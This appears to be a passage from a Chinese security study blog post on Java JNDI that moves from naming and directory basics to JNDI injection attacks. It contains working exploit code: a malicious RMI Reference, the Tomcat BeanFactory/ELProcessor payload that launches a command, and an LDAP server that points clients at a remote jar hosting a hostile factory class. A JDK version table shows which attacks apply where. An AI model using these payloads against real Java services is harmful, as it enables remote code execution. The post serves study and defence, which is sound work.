    • Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。(二叉树的根节点或者子节点)
    • References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用(ref)的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
  • Directory

    目录服务是对于命名服务的一个拓展,除了Naming中已经有的(name==>value),之外,还给对象拥有了attributes,由此我们不仅可以通过name去搜索对象,还可以根据属性去搜索对象。

    以打印机服务为例,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。

    常见服务:

    • LDAP:上面已经说过。
    • Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
    • 其他基于 X.500 (目录服务的标准) 实现的目录服务;

    总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。

  • Interface

    JAVA为了方便使用上述的目录服务,实现了JNDI。从理解上,JNDI本身不是某一类特定的目录服务,所以可以针对不同的服务提供统一操作接口。

    JNDI的架构主要是两层,应用层接口和SPI。

    jndi
    JNDI 接口主要分为下述 5 个包:

    :new:Quick Start

    package com.dem0.jndi;

    import javax.naming.Context;
    import javax.naming.NamingException;
    import javax.naming.directory.Attributes;
    import javax.naming.directory.DirContext;
    import javax.naming.directory.InitialDirContext;
    import java.util.Hashtable;

    public class DNSContextFactoryTest {
    public static void main(String[] args) {
    //创建环境变量对象
    Hashtable env = new Hashtable();
    //设置JNDI初始化工厂累名
    env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
    //设置JNDI提供服务的URL地址
    env.put(Context.PROVIDER_URL,"dns://223.6.6.6/");
    //创建JNDI目录服务对象
    try {
    DirContext context = new InitialDirContext(env);
    //获取DNS解析记录测试
    Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
    Attributes attrs2 = context.getAttributes("dem0dem0.top", new String[]{"A"});
    System.out.println(attrs1);
    System.out.println(attrs2);
    } catch (NamingException e) {
    e.printStackTrace();
    }
    }
    }

    详细的解释已经在代码中标注,这里不再赘述。跟进代码看看。很明显重点的代码在DirContext context = new InitialDirContext(env);.

    //跟进到最后javax.naming.spi.NamingManager.getInitialContext(Hashtable<?,?> env)
    InitialContextFactoryBuilder builder = getInitialContextFactoryBuilder();
    String className = env != null ?(String)env.get(Context.INITIAL_CONTEXT_FACTORY) : null;
    //builder为null ==> factory = (InitialContextFactory)helper.loadClass(className).newInstance();
    factory = builder.createInitialContextFactory(env);
    return factory.getInitialContext(env);

    首先是getInitialContextFactoryBuilder去拿能够创建factory的builder。只有当这个builder没有被初始化的时候,才会去加载Context.INITIAL_CONTEXT_FACTORY,然后调用他的getInitialContext

    到这里让我们用JNDI来重写一下RMI。(这里也就能理解reg,server,client)

    首先还是要新建Registery

    LocateRegistry.createRegistry(1099);

    然后是server端来获取reg对象绑定对象

    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
    Calc calc = new Calc();
    try {
    InitialContext initialContext = new InitialContext(env);
    initialContext.bind("calc",calc);
    System.out.println("calc bindings");
    initialContext.close();
    } catch (NamingException e) {
    e.printStackTrace();
    }

    然后是client获取reg对象拿实例对象

    Hashtable env = new Hashtable();
    env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,"rmi://localhost:1099");

    try {
    InitialContext initialContext = new InitialContext(env);
    ICalc calc = (ICalc) initialContext.lookup("calc");
    initialContext.close();
    List<Integer> li = new ArrayList<Integer>();
    li.add(1);
    li.add(2);
    System.out.println(calc.sum(li));
    } catch (NamingException e) {
    e.printStackTrace();
    } catch (RemoteException e) {
    e.printStackTrace();
    } catch (Exception e) {
    e.printStackTrace();
    }

    所以我们不难看出,任何一个JNDI Context中都有下面几个方法

    bind(Name name, Object obj) 
    将名称绑定到对象。
    list(String name)
    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
    lookup(String name)
    检索命名对象。
    rebind(String name, Object obj)
    将名称绑定到对象,覆盖任何现有绑定。
    unbind(String name)
    取消绑定命名对象。

    对于DirContext来说,还支持search/createSubcontext/getSchema/getSchemaClassDefinition,这也符合我们之前所说的目录服务。

    :key:JNDI动态协议转换

    具体原理不用分析,省流量: JNDI会根据提供的URL重新寻找INITIAL_CONTEXT_FACTORY.

    :eyes:JNDI中的Reference

    目录服务中存在的一种特殊的对象Reference引用。他的构造方法有以下几种:

    image-20220531221602256

    这里面提到了Reference,那么绕不开的就还有RefAddr,这个就相当于是引用的一个指针。他有一个属性addrType表示地址类型。盲猜URLClassLoader,应该也用得上。

    :bulb:JNDI+RMI

    rmi: 提供了ReferenceWrapper用来将JNDI的Reference包装成一个远程对象。现在想办法把这个引用,怎么变成一个对象?

    public class User implements Serializable {
    public String name;
    public User(String name){
    this.name = name;
    }
    public void who(){
    System.out.println("I am "+ name);
    }

    @Override
    public String toString() {
    return "User{" +
    "name='" + name + '\'' +
    '}';
    }
    }

    服务端

    public class UserFactoryServer {
    public static void main(String[] args) throws NamingException, RemoteException {
    Registry registry = LocateRegistry.getRegistry(1099);
    Reference reference = new Reference("com.dem0.jndi.model.xUser", "com.dem0.jndi.model.UserFactory", "http://127.0.0.1:1600");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.rebind("User",wrapper);
    }
    }

    clent

    public class UserFactoryClent {
    public static void main(String[] args) throws NamingException {
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
    Hashtable<String, String> env = new Hashtable<>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
    env.put("word","Dem0");
    InitialContext ctx = new InitialContext(env);
    User obj = (User) ctx.lookup("User");
    System.out.println(obj);
    obj.who();
    }
    }

    debug一下流程,直接跳到com.sun.jndi.rmi.registry.RegistryContext#lookup

    image-20220531230257636

    image-20220531230409469

    拿到存根对象之后,进入decode

    image-20220531230545741

    可以看到从这里开始,引用变实例了。通过NamingManager.getObjectInstance.

    image-20220531230921678

    image-20220531231327818

    可以看到最后还是调用Reference里面的ObjectFactory#getObjectInstance。但是这里也给了我们一个思路codebase.

    image-20220531231901475

    但是前提还是要先绕过trustURLCodebase.

    这里的一个攻击思路就很明显了:因为RegistryContext会解析ReferenceWrapper对象成Reference,如果Reference存在Factory的话还会进一步decode,从FactroyURL加载Factory并调用其getObjectInstance返回一个对象。本质上就是从远程加载类,直接开一个恶意类提供服务就行了。

    eference reference = new Reference("whatever","EvilClass","http://localhost:16000/");
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.rebind("Foo", wrapper);

    但是很显然高版本是默认关闭从远程加载的,但是本地的还是可以的。org.apache.naming.factory.BeanFactory+EL表达式还是可以的

    参考链接:https://github.com/apache/tomcat/blob/8e2aa5e45ce13388da62386e3cb1dbfa3b242b4b/java/org/apache/naming/factory/BeanFactory.java

    把代码简化一下

    Reference ref = (Reference) obj;

    //加载refrence classname对应的类为beanClass,并实例化
    String beanClassName = ref.getClassName();
    Class<?> beanClass = null;
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    if (tcl != null) {
    beanClass = tcl.loadClass(beanClassName);
    } else {
    beanClass = Class.forName(beanClassName);
    }
    BeanInfo bi = Introspector.getBeanInfo(beanClass);
    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
    Object bean = beanClass.getConstructor().newInstance();
    //然后找Reference的forceString属性
    RefAddr ra = ref.get("forceString");
    Map<String, Method> forced = new HashMap<>();
    String value = (String)ra.getContent();
    Class<?> paramTypes[] = new Class[1];
    paramTypes[0] = String.class;
    String setterName;
    int index;
    //将对应Reference的forceString属性值以逗号分隔为param
    for (String param: value.split(",")) {
    param = param.trim();
    //尝试将param分割成 x=y 的格式 或者xxx
    index = param.indexOf('=');
    //case 1: setterName = x param = y
    if (index >= 0) {
    setterName = param.substring(index + 1).trim();
    param = param.substring(0, index).trim();
    } else { //case 2:setterName = setXxxx (Java Bean规范)
    setterName = "set" +
    param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
    param.substring(1);
    }
    //这里将beanClass对应的以setterName为名的参数为String类型的方法放进forced Map中,并以param为键值
    forced.put(param,beanClass.getMethod(setterName, paramTypes));
    }
    //获取Reference的所有RefAddr,并遍历
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
    ra = e.nextElement();
    String propName = ra.getType();
    value = (String)ra.getContent();
    Object[] valueArray = new Object[1];
    //从forcemap里拿 propName(就是当前RefAddr的Type)对应的方法
    Method method = forced.get(propName);
    if (method != null) {
    valueArray[0] = value;
    //调用方法参数为value(就是当前RefAddr的Content)
    method.invoke(bean, valueArray);
    continue;
    }
    //遍历pda就是bean的属性描述
    for (int i = 0; i<pda.length; i++) {
    if (pda[i].getName().equals(propName)) {
    Class<?> propType = pda[i].getPropertyType();
    //只允许调用方法参数为几个基本类String/Double/Character/...且只能有一个参数的方法
    if (propType.equals(String.class)) {
    valueArray[0] = value;
    } else if (propType.equals(Character.class)
    || propType.equals(char.class)) {
    valueArray[0] =
    Character.valueOf(value.charAt(0));
    }
    //拿到对应写属性的方法,调用其方法写属性
    Method setProp = pda[i].getWriteMethod();
    setProp.invoke(bean, valueArray);
    break;
    }
    }
    }
    //返回写完属性生成的bean
    return bean;

    大概总结一下流程,会新建classname对应的类为beanClass,然后根据forceString属性,的值来切分(“a=b”),就会调用B方法,并且将以a为主键的字符串传进去。最经典的exp也就不难解释了。

    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "x=eval"));
    ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc.exe']).start()\")"));
    ReferenceWrapper wrapper = new ReferenceWrapper(ref);

    浅蓝师傅: https://tttang.com/archive/1405/ 挖出了新的利用链。超爱eki的总结:

    • 恶意类有public修饰的无参构造方法(getConstructor().newInstance()所限)
    • 恶意类有只有一个String.class类型参数的危险方法(paramTypes所限)
    • 恶意类有只有一个基本类型参数的满足bean规范的(setXX)危险方法(paramTypes所限)

    0x03 LDAP

    其实更多的就是对于RMI和上面这两种了,LDAP感觉我碰到挺少的。其实也就是常见的两种存储方式

    • Reference

      高版本一样没有了

    • 序列化

      本地存在反序列化链子就可以。

    LDAPserver:

    package com.anbai.sec.jndi.injection;

    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;

    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;

    public class LDAPReferenceServerTest {

    // 设置LDAP服务端口
    public static final int SERVER_PORT = 3890;
    // 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
    public static final String BIND_HOST = "127.0.0.1";
    // 设置一个实体名称
    public static final String LDAP_ENTRY_NAME = "test";
    // 获取LDAP服务地址
    public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
    // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
    public static final String REMOTE_REFERENCE_JAR = "https://anbai.io/tools/jndi-test.jar";

    // 设置LDAP基底DN
    private static final String LDAP_BASE = "dc=javasec,dc=org";

    public static void main(String[] args) {
    try {
    // 创建LDAP配置对象
    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

    // 设置LDAP监听配置信息
    config.setListenerConfigs(new InMemoryListenerConfig(
    "listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
    ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
    (SSLSocketFactory) SSLSocketFactory.getDefault())
    );

    // 添加自定义的LDAP操作拦截器
    config.addInMemoryOperationInterceptor(new OperationInterceptor());

    // 创建LDAP服务对象
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

    // 启动服务
    ds.startListening();
    System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

    @Override
    public void processSearchResult(InMemoryInterceptedSearchResult result) {
    String base = result.getRequest().getBaseDN();
    Entry entry = new Entry(base);

    try {
    // 设置对象的工厂类名
    String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
    entry.addAttribute("javaClassName", className);
    entry.addAttribute("javaFactory", className);

    // 设置远程的恶意引用对象的jar地址
    entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);

    // 设置LDAP objectClass
    entry.addAttribute("objectClass", "javaNamingReference");

    result.sendSearchEntry(entry);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    } catch (Exception e1) {
    e1.printStackTrace();
    }
    }

    }
    }

    client

    Context ctx = new InitialContext();
    // 获取RMI绑定的恶意ReferenceWrapper对象
    Object obj = ctx.lookup(LDAP_URL);
    System.out.println(obj);

    ds.add("en=avv",object),可以绑定对象了就。

    总结

    攻击类型 适用jdk版本 需要条件
    JNDI+RMI (Reference Remote Factory) <7u21、6u45
    JNDI+RMI (Reference Local Factory) 任意 调用端存在利用链
    JNDI+LDAP (Reference Remote Codebase) <8u191
    JNDI+LDAP (Serialize Object) 任意 调用端存在反序列化链

0x03 参考资料

1.高版本bypasshttps://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

2.eki-rmi:https://tttang.com/archive/1430/

3.eki-ldap: https://tttang.com/archive/1441/

4.https://www.anquanke.com/post/id/197829

5.绕过:https://www.cnblogs.com/zpchcbd/p/14941783.html

6.su18师傅的源码分析:https://su18.org/post/rmi-attack/